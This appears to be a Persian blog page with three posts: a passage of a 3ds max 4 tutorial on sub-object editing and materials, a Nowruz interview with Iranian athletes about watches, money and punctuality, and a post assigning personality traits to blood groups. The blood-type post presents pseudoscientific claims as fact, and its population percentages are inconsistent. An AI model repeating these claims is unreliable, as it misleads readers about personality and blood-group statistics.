حتي اصلاح كنندگان خاصي وجود دارند كه عملكرد اصلي آنها تنها ايجاد مجموعه‎هاي انتخابي سطح شيء فرعي است . سپس ساير اصلاح كنندگان بالاي آن انتخابها در Modifier List اعمال مي‎شوند تا نهادهاي بسيار قابل ويرايش را ايجاد نمايند . اصلاح كنندگان شامل اين موارد مي‎باشند :
MeshSelect
SplineSelect
PolySelect
PatchSelect
Vol.Select ‍( انتخاب حجم )
توجه داشته باشيد كه : زماني كه اصلاح كنندگاني را در سطح شيء فرعي اعمال نموده‎ايد كه توپولوژي توري را تغيير داده‎اند ـ براي مثال وجوه را اضافه يا حذف نموده‎اند ـ معمولاً نمي‎توانيد بدون بروز مشكلات در شيء به زير آن نقطه در Modifier List برويد . 3ds max 4 هشداري را نشان مي‎دهد ، مبني بر اينكه ممكن است اشكالات بالقوه‎اي پيش بيايند .
حالات شيء فرعي مي‎توانند در نواحي بسياري از 3ds max 4 غير از اشياء دو بعدي و سه بعدي يافت شوند ، شامل :
اصلاح كنندگان (Modifiers) ـ بسياري از اصلاح كنندگان داراي قابليتهاي ويرايشي شيء فرعي از قبيل Gizmo يا Center براي اصلاح كننده Bend يا Axis براي اصلاح كننده Lathe مي‎باشند .
كليدهاي انيميشن (Animation Keys) ـ اگر اكثر انواع كليدهاي انيميشن را در Track View يا Track Bar انتخاب و سپس دكمه راست را كليك كنيد ، گزينه‎هاي حالت مماس شيء فرعي براي سمتهاي وارد شونده و خارج شونده كليد را خواهيد داشت .
مواد (Materials) ـ در اين حالت كه شيء فرعي ناميده نمي‎شود ، بسياري از مواد در 3ds Max 4 از مواد فرعي (Sub-Materials) تشكيل شده‎اند . ماده Multi/Sub-Object ، ماده منفردي است كه مواد بسياري را دربر دارد و مي‎تواند به يك شيء اعمال شود .
عمليات بولي (Boolean Operations) ـ عمليات بولي سه بعدي امكان ويرايش عملكردهاي اصلي را در سطح شيء فرعي ميسر مي‎سازند . براي مثال اگر از Boolean براي الحاق دو شيء سه بعدي استفاده كرده‎ايد ، مي‎توانيد در سطح شيء فرعي ويرايش كنيد تا موقعيت يكي از عملگرها را پس از عمليات بولي تغيير دهيد .
هنگام كار با 3ds max 4 همواره بايد مراقب دكمه Sub-Object باشيد تا دسترسي به سطح جديدي از قابليتهاي ويرايش را كسب نماييد .
به اين نكته نيز توجه داشته باشيد كه : گزينه User Reference در منوي كركره‎اي Help را به كار گيريد تا دنبال “ Sub-Object ” براي كاربردهاي ديگر بگرديد . باز هم از تجربه هراسان نباشيد .
مواد و نقش‎ها
درك مفهوم مواد و نقش‎ها در 3ds max 4 براي كاركردن با نرم‎افزار اساسي است . دو اصطلاح در سرتاسر مستندات چاپ شده و برخط به كار رفته‎اند و اينگونه فرض مي‎شود كه هر دو اصطلاح براي كاربر جديد مفهوم دارند . همواره اينگونه نيست ! به كارگيري مؤثر مواد احتمالاً مهمتر از توانايي مدل‎سازي خوب در max 4 مي‎باشد . براي مثال ، كاملاً ممكن است كه يك صحنه مدل‎سازي شده كامل داشته باشيد و باعث شويد با مواد بد ، وحشتناك به نظر برسد . برعكس ، ممكن است صحنه متوسطي را برداريد و با مواد خوب باعث شويد تا عالي به نظر برسد . درك مفهوم اصلي و تفاوتهاي ميان مواد و نقش‎ها ، شما را در جهت ايجاد سريعتر مواد خوب ، كمك خواهد كرد .
مواد
مواد ، اطلاعات سطح را تشكيل مي‎دهند كه به شيء توري سه بعدي در صحنه نسبت داده مي‎شود . اين اطلاعات سطح بيننده را به آنچه كه در نظر گرفته شده است كه شيء در صحنه نشان دهد ، راهنمايي مي‎كند . قطعاً فرم يا شكل يك شيء اشاره‎اي مبني بر اين است كه آن شيء بايد چه باشد ، اما كليد ، اعمال ماده‎اي است كه بيننده را قانع كند كه يك چيز مي‎تواند فولاد ، چوب ، پارچه يا ژلاتين باشد . بنابراين مواد به اشياء صحنه نسبت داده مي‎شوند .
يادداشت : به ندرت اصطلاحات « واقعي » يا « واقع‎گرايانه » را مشاهده مي‎كنيد كه در اين كتاب به كار گرفته شده باشند . در حاليكه ادعاي بسياري براي رِندرسازي واقع‎گرايانه وجود دارد ، اما اصطلاح دقيق‎تر مي‎تواند رِندرسازي متقاعد كننده باشد . صحنه‎ها در دنياي واقعي پر از پريشاني هستند كه در يك صحنه رِندر شده كامپيوتري بسيار نابجا خواهند بود . در واقع مغز ما بسياري از اين پريشانيها را فيلتر مي‎كند تا ادراك ما را تشكيل دهد . اگر پريشانيها رِندرسازي‎هاي كامپيوتري را دربر گيرند ، گيج‎كننده خواهند شد .
اطلاعات سطح براي حتي ساده‎ترين مواد max 4 معمولاً از چندين جزء تشكيل يافته است كه وقتي تركيب شوند ، مواد شبيه‎سازي شده دنياي واقعي را تعريف مي‎كنند . اجزاء شامل موارد زير مي‎باشند ، اما محدود به آنها نيستند :
رنگ سطح (Surface color)
بافت (Texture)
درخشندگي (Shininess)
نقاط روشن (Highlights)
شفافيت (Transparency)
انعكاس (Reflectivity)
محيط اطراف خود را مطالعه كنيد تا حسي را توسعه دهيد ، مبني بر اينكه چگونه مواد گوناگون جلوي چشمان شما ظاهر مي‎شوند و در مسير بازسازي آن مواد در 3ds max 4 خواهيد بود .
+ نوشته شده در  شنبه یازدهم فروردین 1386ساعت 21:2  توسط دانیال  | 


گپ و گفت نوروزي با ورزشکاران


سوالات

1- بهترين خاطره شما از عيد نوروز چيست ؟

2- مهم ترين اتفاقي که در سال 85 براي شما اتفاق افتاد چه بود ؟

3- چند تا ساعت داريد ؟ مارک ساعت مچي که استفاده مي کنيد چيست و ارزش آن چقدر است؟

4- وقتي با کسي وعده ملاقات داريد زودتر مي رسيد يا ديرتر ؟

5- معمولا در جيبتان چه مقدار پول مي گذاريد ؟

6- بزرگترين آرزوي شما در سال 1386 چيست ؟

آيدين نيکخواه بهرامي ( بسکتبال): همه ي پولهايم را در جيب مي گذارم!

1- الان که خاطره خاصي يادم نيست .

2- بهترين خاطره اي که در سال 85 برايم اتفاق افتاد مقام سومي بازيهاي آسيايي بود .

3- يک ؛ مارک ساعت من لانگوئينگ است. فيمت دقيق آن را نمي دانم چون کادو گرفتم ... فکر کنم 700 هزار تومان

4- سر تمرينات که خيلي دير مي رسم ولي وقتي با کسي وعده ملاقات دارم سر ساعت حاضر مي شوم .

5- هر چه قدر که پول داشته باشم همان مقدار را در جيبم مي گذارم !

6- دوست دارم سهميه ي المپيک را بار ديگر براي ايران بدست آوريم

ابوالفضل حاجي زاده ( فوتبال - پرسپوليس ) : ساعت ديواري را درست کرديم!

1- دور هم بودن خانواده ها در موقع تحويل سال به نظر من يکي از بهترين خاطره ها است .

2- اتفاقات مهم امسال براي من هر دو مربوط به پرسپوليس مي شود. اولين اتفاق مهم کم شدن شانس قهرماني و دومين اتفاق مهم براي من صعود پرسپوليس به جمع 4 تيم در جام حذفي

3- يک ساعت دارم که مارک آن سواچ است و قيمت آن (با کمي مکث !!) 200 هزار تومان

4- يک مدت بود ساعت ديواري منزلمان خراب بود و من اکثرا قرارهاي خود را با آن تنظيم مي کردم که باعث مي شد هميشه دير برسم ولي در حال حاضر خدا رو شکر ساعت ديواري منزل را درست کرده ايم و حتي 5 الي 6 دقيقه هم جلو کشيده ايم که حداقل باعث مي شود 5 الي 6 دقيقه طرف مقابل را کمتر معطل کنيم !

5- براي خريد پول زياد بر مي دارم ولي در غير اين صورت حدود 20 الي 30 هزار تومان

6- قهرماني پرسپوليس در جام حذفي

علي عليزاده (فوتبال – استقلال ) : از بد قولي بدم مي آيد

1- بهترين خاطره ام از عيد نوروز برمي گردد به تيم ملي اميد .زماني که با تيم ملي به مالزي رفتيم و آن ايام مصادف شد با ايام محرم که با بچه هاي تيم عزاداري مي کرديم

2- مهم ترين اتفاق حذف استقلال از جام باشگاهاي آسيا بود .

3-من 2 ساعت دارم که يکي معمولي و ديگري مجلسي که در مهماني ها و مجالس استفاده مي کنم .مارک ساعتم رولکس است و قيمت آن يک ميليون و 800 هزار تومان است.

4- راستش را بخواهيد من از بدقولي خيلي بدم مي آيد هميشه سعي مي کنم سر قرار به موقع حاضر شوم

5- اگر کار زيادي نداشته باشم حدود 20 الي 30 هزار تومان در جيبم مي گذارم .

6- قهرماني استقلال در ليگ برتر

داريوش يزداني ( فوتبال – سايپا ) : تا ساعتم خراب نشود ، نمي خرم!

1 - خاطره خوشي که الان به ذهنم نمي رسد ولي همين جمع شدن خانواده ها دور هم در هنگام سال نو بسيار گرم ولذت بخش است.

2 - مهم ترين اتفاق مصدوميتم بود چرا که تمام پزشکان مي گفتند تا هفته ي بيستم ليگ بايد از ميادين دور باشم اما به لطف خدا و تلاش دکترها و زحمات خودم توانستم از هفته ي ششم بازي کنم و براي تيمم مثمر ثمر باشم .

3- ساعتم چروتي است. قيمت چنداني هم ندارد ولي طرح آن طوري است که هر کس ببيند فکر ميکند 7 ، 8 ميليون قيمتش باشد! باز هم با اصرار راضي اش مي کنيم قيمت را بگويد : فکر مي کنم حول حوش 250الي 300هزار تومان باشد. البته همين يک ساعت را دارم کلا ادمي هستم که تا زماني که ساعتم خراب نشده ساعت ديگري نمي خرم !

4 - هميشه سر ساعت حاضر مي شوم اصولا من آدم آن تايمي هستم و بارها هم شده که 2الي 3 دقيقه زود تر حاضر مي شوم .

5 - معمولا 30الي 40 هزار تومان

6 - سلامتي پدر مادر بچه وخانمم چرا که واقعا سلامتي بزگ ترين نعمتي است که خداوند به انسان داده

محمد محمدي ( فوتبال - پيکان ) : مگر چقدر درمي آورم؟!

1- تمام عيدها هرکدام خاطره خاص خودش را دارد ولي بهترين خاطره ام در دوران نامزدي ام بود که به همراه خانمم که به مسافرت رفتيم .

2- جدا شدن از تيم پرسپوليس بود . خوب بود يا بد ؟ والا خوب يا بد بودن آن را مي گذارم به عهده ديگران اما از نظر فوتبالي ام برايم مفيد بود .

3- ورساچه است که 180 هزار تومان قيمت آن است ..... آقا ببخشيد شوخي کردم قيمت آن 20 الي 30 تومان است مگه ما چقدر در آوريم که ساعت 180 توماني دستمان کنيم!

( به او توضيح مي دهيم که تمام ورزشکاران قيمت ساعت خود را گفته اند و نگران نباشد! )

- مي دانم به طور مثال قيمت ساعت پروين 5 ميليون تومان است ولي ساعت من 120الي 130 هزار تومان است

4- همه با اخلاق من آشنا هستند و مي دانند که من از بد قولي بدم مي آيد و هميشه سر قرارهايم زود حاضر مي شوم .

5- در کل با خودم زياد پول بر نمي دارم اگر سر تمرين بروم 10 تومان بيشتر همراه نخواهم داشت اما در صورتي که بخواهم با همسرم بيرون بروم پول را خانمم نگه خواهد داشت چون از باد کردن جيب خوشم نمي آيد!

6- حضور با تيم پيکان در جام باشگاهاي آسيا

حسين کاظمي (فوتبال – استقلال ) : من هميشه دير مي رسم!

1- همين که با خانواده هستيم و در کنار آنها ، بهترين خاطره است.

2- قهرماني استقلال در سال 85 فکر مي کنم مهمترين اتفاق سال 85 بود

3- تيسوت ؛ قيمت دقيقش را دقيق نمي دانم چون ساعت را پارسال هديه گرفتم. اما فکر کنم 200 ، 300 هزار توماني باشد! 3 ، 4 تا ساعت دارم!

4- البته اکثر فوتباليست ها بد قول اند! با وجود اين همه ترافيک و ... هم فکر نکنم کسي زود سر قرار برسه ، من هم بيشتر وقت ها دير مي رسم.

5- خب بستگي دارد کجا بخواهم بروم ؛ اگر ميهماني يا جاي مهمي باشد خب پول بيشتري همراه خودم مي برم اما اگر لازم نداشته باشم ، کمتر.

6 - سلامتي همه مردم

+ نوشته شده در  جمعه دهم فروردین 1386ساعت 13:51  توسط دانیال  | 


         كساني كه مي خواهند بدانند گروه خوني آنها چيست و يا اگر داراي گروه خوني هستند چه خصوصياتي دارند؟

*
گروه خونی AB فارغ از مراقبت و بی نیاز از توجه
+AB حدود 4% مردم دارای گروه خونی
دارند -AB و 1% هم گروه خونی

اجتماعی، سخت گیر نیستند،غمخوار ودلسوز،دیپلماتیک،اهل گشت وگذار،خلاق،غیر قابل پیش بینی،هنرمند،انعطاف پذیر،ترشرو ودرخود!مخلوطی از تضادها،خجالتی در مقابل بعضی ها ، بی باک وگستاخ با بعضی دیگر، برونگراودرونگرا،گاهی غیر قابل پیش بینی است وگاهی ظاهرا بسیار آرام وخونسردبه نظر می رسند.قدرت خلاقه زیادی دارند،توانا در پیدا کردن مشکلات ودور زدن آنها،علاقه مند به محیط شهری،به آسانی خسته می شوند.به نظر می رسد که هر کاری که انجام می دهند از روی اجبار است. هرگزکاری را برای قدردانی انجام نمی دهند.اسرار آمیز بنظر می رسند.در فعالیتهای اجتماعی می توانند هماهنگ ظاهر شوند.علاقه مند به ایجاد رابطه نیستندوتلاش چندانی هم برای این کار نمی کنند


فعال B گروه خونی
حدود 9% از مردم جهان دارای گروه خونی +B
و 25% هم دارای گروه خونی-B هستند

بشاش وخوشرو،خوش بین،فعال،حساس،مهربان،فراموش کار،آشفته،درهم وسازمان نیافته،پرسروصدا،خودپسندوخودبین،پرانرژی وجدی در راه رسیدن به هدف،معمولا جزوبهترین افراد تیم می شوندوافراد تکرویی هستند.اغلب کارها رابا روشهای خودشان انجام می دهندوخود کفا هستند.شخصیتهای ماجراجوودلیر،علاقه مند به داشتن یک راه مشخص ومخصوص،موجوداتی اجتماعی وعلاقه مند به مهمان داری هستند.علاقه به حفظ روابط هستند وخودشان در این زمینه تلاش می کنند

 
*
تیپ گرم O گروه خونی
حدود38%مردم جهان دارای گروه خونی+O
و 6% دارای گروه خونی -O هستند
بی پروا،با اراده،مغرور،بخشنده،اجتماعی،با انرژی،برونگرا،رک وصریح،واقع گرا،نمایشی،عمومی،مثبت،مستقل،ریسک پذیر،نا فرمان،بی اعتبار،لجوج وخودمحور. به آسانی دوست می شوندوبا جریانات همراه شده وبه فرصت ها چنگ می زنند.برای شروع یک پروژه یا شکاریک ایده ونظر صریح هستند.درفعالیت های سازمان یافته خوب عمل می کنند.دربعضی موارد چندان دقیق نیستندواحساسات زیاد و قوی از خود نشان می دهند.ممکن است به سرعت مخالفت عمیق خود را با یک نظر بیان کننداما معمولا این مخالفت پایدار نیست.کارگشایانی سنتی،محرک وکمی لاف زن هستند.
احساسات خود را خیلی نشان می دهنداما در برخورد با دیگر گروهای خونی این بیان اظهارات متغیر است.نوعی ظرافت ذاتی وفطری دارند.شخصیت های اجتماعی وپر زرق و برق هستندمیتوانند در حوادث و بحران ها سازگاری خوبی داشته باشند.لغات و کلمات به آسانی به سراغ آنها می آیند.خجالتی نیستندورک وصریح احساسات درونیشان را فاش می کنند.جاه طلب اند اما گاهی با جزییات سرگرم می شوند.علاقمند به حفظ روابط هستند وخودشان در این زمینه تلاش می کنند






تیپ سرد A گروه خونی
حدود 34% ازمردم دارای گروه خونی +A
و 6% دارای گروه خون -A هستند
مطیع وآرام،دقیق،دلسوزوغمخوار،فداکار،مودب،درستکار،وفادار،احساساتی،درونگراوکمی دستپاچه.حتی در مواقع آشوب و غضب آرام وخون سرد هستند.نسبت به نظرات عمومی حساس اند.اغلب درون گرا هستند دربرخورد با دیگران خجالتی وکمرو هستند یا حتی مریض به نظر می رسند کمی بدبین هستند.برای روابط ارزش قائل بوده ونسبت به دیگران وفادارند.نسبت به تغییرات تردید دارند.دوست داران طبیعت وگریزان از جمعیت وشلوغی هستند.به یک مکان شخصی یا پناهگاه امن ومخفی برای خود نیازمندند.عموما دو دل و غیر قاطع اند.برای حضوردر کارهای تیمی آماده هستند مخصوصا وقتی دستوری به آنها داده شود.علاقه مند به ایجادرابطه نیستندوتلاش چندانی هم برای اینکار نمی کنند
+ نوشته شده در  جمعه دهم فروردین 1386ساعت 13:34  توسط دانیال  |